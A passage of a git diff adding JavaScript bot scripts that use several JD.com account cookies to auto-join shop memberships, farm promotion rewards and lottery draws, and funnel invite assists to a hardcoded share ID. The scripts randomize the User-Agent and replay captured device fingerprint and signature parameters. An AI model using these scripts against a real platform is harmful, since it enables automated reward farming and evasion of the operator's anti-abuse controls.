taskPostUrl("/openCard/setMixNick", {"strTMMixNick":$.isvObfuscatorToken,"source": "01"}); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} setMixNick API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object' && res.errorCode == 200){ + res = res.data + if(res.status == 200){ + if(res.data && res.data.succ === true && typeof res.data.msg != 'undefined') $.MixNick = res.data.msg || "" + }else if(res.msg){ + console.log(`setMixNick ${res.msg || ''}`) + }else{ + console.log(`setMixNick ${data}`) + } + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`setMixNick ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + let res = $.toObj(data); + if(res.success == true){ + // console.log($.toStr(res.result)) + // console.log(`入会:${res.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = res.result.interestsRuleList && res.result.interestsRuleList[0] && res.result.interestsRuleList[0].interestsInfo && res.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.success === true){ + console.log(res.message) + if(res.result && res.result.giftInfo){ + for(let i of res.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(typeof res == 'object' && res.message){ + console.log(`${res.message || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1332_42932_43102&body=%7B%22url%22%3A%22https%3A%5C/%5C/jinggengjcq-isv.isvjcloud.com%5C/fronth5%5C/?lng%3D118.144789%26lat%3D24.494393%26sid%3D72eb6b136d16475a514d9c8097ae72fw%26un_area%3D16_1332_42932_43102%23%5C/pages%5C/unitedCard20210815%5C/unitedCard20210815?actId%3D67796e7ec3834aff9fa_815%26pushWay%3Dundefined%26bizExtString%3Dc2hhcmVOaWNrOjRBNTVDMUMwODY5Qzc1MDYxRDExQ0REQzlGMTk2MzFBMzMxQTAzRjc2M0JENDM1MkU3RkM5OTc4N0IzMEZCRDM0OTMzNkRFNTRFMjZBQThGMjgzNEIyNDhFNjM5OENCN0E3NTVERjRGREFFNTg1RUMzRTFBQkUyNkYzREQzQ0ZGQzk1NkQxMjk3NEZGMDBBMDQ1RDhFMzFBODRGRTg0QzE4QTgzNTdERTk2QTFGNjE3QjhBQzRENjRCQzI0QjY4OQ%253D%253D%22%2C%22id%22%3A%22%22%7D&build=167774&client=apple&clientVersion=10.1.0&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=57&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=62d9cc171d062009f112aabb0876aa29&st=1629007912659&sv=120&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJIboQ2/wBVQ9RdTaqwLZhLvDd5KOzOlCYHfIbrLMSFTq87x9FnB0euUOEOhvrlJDrP3DE1ad21cGUvWyBMoPHKiwpASKsio6Z0vEGHKtf1%2B/Ko6B3PdH%2BA%2B1ETmLny0aU0b82Cy/TDIKiXKZdj7IUhg69Y2%2BmmzxFGZo%2BKgCJMof7F5DA%2BtlNug%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, t) { + const b = $.toStr({ + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": "51B59BB805903DA4CE513D29EC448375", + "m": "POST", + "timestamp": Date.now(), + "userId": $.userId + }, + "admJson": { + ...t, + "method": url, + "userId": $.userId, + "buyerNick": $.MixNick || "", + } + } + }) + return { + url: `https://jinggengjcq-isv.isvjcloud.com/dm/front${url}?mix_nick=${$.MixNick || ""}`, + body: b, + headers: { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json; charset=utf-8", + "Host": "jinggengjcq-isv.isvjcloud.com", + "Origin": "https://jinggengjcq-isv.isvjcloud.com", + "User-Agent": $.UA, + "X-Requested-With": "XMLHttpRequest" + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard22.js b/backUp/gua_opencard22.js new file mode 100644 index 0000000..ffdf1ec --- /dev/null +++ b/backUp/gua_opencard22.js @@ -0,0 +1,885 @@ +/* +9.3-9.13 奔跑吧 开学季 [gua_opencard22.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 (有可能没有豆 +开10张卡(2组) 抽奖可能获得30京豆/每组(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购没有豆只有游戏机会 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku22]为"true" +抽奖 (有可能是空气💨 默认不抽奖 如需抽奖请设置环境变量[guaopencard_draw22]为"true" +100积分抽1次 +填写要抽奖的次数 不足已自身次数为准 +guaopencard_draw22="3" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard22="true" +———————————————— +入口:[9.3-9.13 奔跑吧 开学季 (https://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=902090301&shareUuid=a7b772e80ce64826b78da56f75be9700)] + +============Quantumultx=============== +[task_local] +#9.3-9.13 奔跑吧 开学季 +34 10,19 3-13 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js, tag=9.3-9.13 奔跑吧 开学季, enabled=true + +================Loon============== +[Script] +cron "34 10,19 3-13 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js, tag=9.3-9.13 奔跑吧 开学季 + +===============Surge================= +9.3-9.13 奔跑吧 开学季 = type=cron,cronexp="34 10,19 3-13 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js + +============小火箭========= +9.3-9.13 奔跑吧 开学季 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard22.js, cronexpr="34 10,19 3-13 9 *", timeout=3600, enable=true +*/ +const $ = new Env('9.3-9.13 奔跑吧 开学季'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let activityCookie = ''; +let lz_jdpin_token = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = "false" +guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku22 ? process.env.guaopencard_addSku22 : guaopencard_addSku) : ($.getdata('guaopencard_addSku22') ? $.getdata('guaopencard_addSku22') : guaopencard_addSku); +let guaopencard_draw = "0" +guaopencard_draw = $.isNode() ? (process.env.guaopencard_draw22 ? process.env.guaopencard_draw22 : guaopencard_draw) : ($.getdata('guaopencard_draw22') ? $.getdata('guaopencard_draw22') : guaopencard_draw); +let guaopencard = "false" +guaopencard = $.isNode() ? (process.env.guaopencard22 ? process.env.guaopencard22 : guaopencard) : ($.getdata('guaopencard22') ? $.getdata('guaopencard22') : guaopencard); +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if(guaopencard+"" != "true"){ + console.log('如需执行脚本请设置环境变量[guaopencard22]为"true"') + } + if(guaopencard+"" != "true"){ + return + } + } + $.shareUuid = 'a7b772e80ce64826b78da56f75be9700' + $.activityId = '902090301' + console.log(`入口:\nhttps://lzdz-isv.isvjcloud.com/dingzhi/union/kxj/activity/2451572?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length && true; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) break + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + lz_jdpin_token = '' + $.Token = '' + $.Pin = '' + await getCk() + if (activityCookie == '') { + console.log(`获取cookie失败`); return; + } + await getToken(); + if($.Token == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.nickname = ''; + await getMyPing() + if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await accessLogWithAD() + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + $.vipDraw1 = true + $.vipDraw2 = true + await checkOpenCard(); + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + console.log(`加入会员1:${$.joinvip1}`) + console.log(`加入会员2:${$.joinvip2}`) + if ((!$.joinvip1 || !$.joinvip2) && $.openCardList && $.openCard) { + let flag = false + for (let o of $.openCard && $.openCard || []) { + flag = false + for (let k of $.openCardList) { + if(o == k.venderId){ + flag = true + break + } + } + if(flag == false){ + console.log(o) + await join(o) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getActorUuid() + } + } + await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) + await checkOpenCard(); + console.log(`加入会员1:${$.joinvip1}`) + console.log(`加入会员2:${$.joinvip2}`) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + } + if(!$.vipDraw1) await draw(1) + if(!$.vipDraw1) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + if(!$.vipDraw2) await draw(2) + if(!$.vipDraw2) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await checkOpenCard(); + console.log(`关注店铺:${$.followshop}`) + if(!$.followshop) await saveTask('关注店铺', "followshop"); + if(!$.followshop) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await helpFriend(); + console.log(`签到:${$.signin}`) + if(!$.signin) await saveTask('签到', "signin¶m="); + if(!$.signin) await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + console.log(`加购商品:${$.add2cart}`) + if(guaopencard_addSku+"" == "true"){ + if(!$.add2cart) await saveTask('加购商品', "add2cart¶m="); + }else console.log('如需加购请设置环境变量[guaopencard_addSku22]为"true"'); + console.log(`浏览商品:${$.scansku}`) + if(!$.scansku){ + console.log(`开始浏览商品`) + await getproduct() + for (let s of $.getproduct && $.getproduct || []) { + if(s.taskDone !== true) { + await saveTask('浏览商品', `scansku¶m=${s.id}`); + await $.wait(parseInt(Math.random() * 1000 + 5000, 10)) + } + } + } + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getActorUuid() + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await checkOpenCard(); + console.log(`总积分:${$.totalScore} 剩余积分:${$.useScore} 游戏机会:${$.leftchance}`) + let gameFlag = 0 + if(guaopencard_draw+"" !== "0"){ + let count = parseInt($.useScore/100, 10) + guaopencard_draw = parseInt(guaopencard_draw, 10) + if(count > guaopencard_draw) count = guaopencard_draw + console.log(`抽奖次数为:${count}`) + for(j=1;count-- && true;j++){ + gameFlag = 1 + console.log(`第${j}次`) + await draw(99) + await $.wait(parseInt(Math.random() * 1000 + 4000, 10)) + } + }else console.log('如需抽奖请设置环境变量[guaopencard_draw22]为"3" 3为次数'); + if(gameFlag == 1){ + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getActorUuid() + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await checkOpenCard(); + } + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getDrawRecordHasCoupon() + await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) + await getShareRecord() + $.log($.actorUuid) + $.log("助力码:"+$.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + await $.wait(parseInt(Math.random() * 1000 + 6000, 10)) + }catch(e){ + console.log(e) + } +} + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.actorUuid}` + $.post(taskPostUrl(`/dingzhi/union/kxj/myprize?_=${Date.now()}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(`我的奖品:`) + let num = 0 + let value = 0 + for(let i in res.data){ + let item = res.data[i] + if(item.remark == '完成任务助力好友') num++; + if(item.remark == '完成任务助力好友') value = item.rewardName.replace('京豆',''); + if(item.remark != '完成任务助力好友') console.log(`${item.infoType != 10 && item.remark +':' || ''}${item.rewardName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`我的奖品 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.actorUuid}` + $.post(taskPostUrl(`/dingzhi/union/kxj/myfriend?_=${Date.now()}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.ShareCount = res.data.length + $.log(`=========== 你邀请了:${res.data.length}个`) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function draw(type) { + return new Promise(resolve => { + let body = `type=${type}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&userUuid=${$.actorUuid}` + const options = taskPostUrl(`/dingzhi/union/kxj/draw?_=${Date.now()}`, body); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = res.data.prize && res.data.prize.rewardType == 6 && res.data.prize.rewardName || '' + console.log(`抽奖获得:${msg || '空气💨'}`) + if(!msg) console.log(data) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`抽奖 ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function helpFriend() { + return new Promise(resolve => { + let body = `shareUuid=${$.shareUuid}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` + $.post(taskPostUrl(`/dingzhi/union/kxj/helpFriend?_=${Date.now()}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + console.log(res.data.helpFriendMsg) + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`助力-${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getproduct() { + return new Promise(resolve => { + let body = `type=4&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` + $.post(taskPostUrl(`/dingzhi/union/kxj/getproduct?_=${Date.now()}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + $.getproduct = res.data + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`${title} ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function saveTask(title, taskId) { + return new Promise(resolve => { + let body = `taskId=${taskId}&activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&userUuid=${$.shareUuid}` + $.post(taskPostUrl(`/dingzhi/union/kxj/doTask?_=${Date.now()}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data); + if(typeof res == 'object'){ + if(res.result === true && res.data){ + let msg = '' + if(res.data.beanNum){ + msg = ` ${res.data.beanNum}京豆` + } + if(res.data.score){ + msg += ` ${res.data.score}积分` + } + if(res.data.gameChance){ + msg += ` ${res.data.gameChance}次游戏机会` + } + if(res.data.codeNum){ + 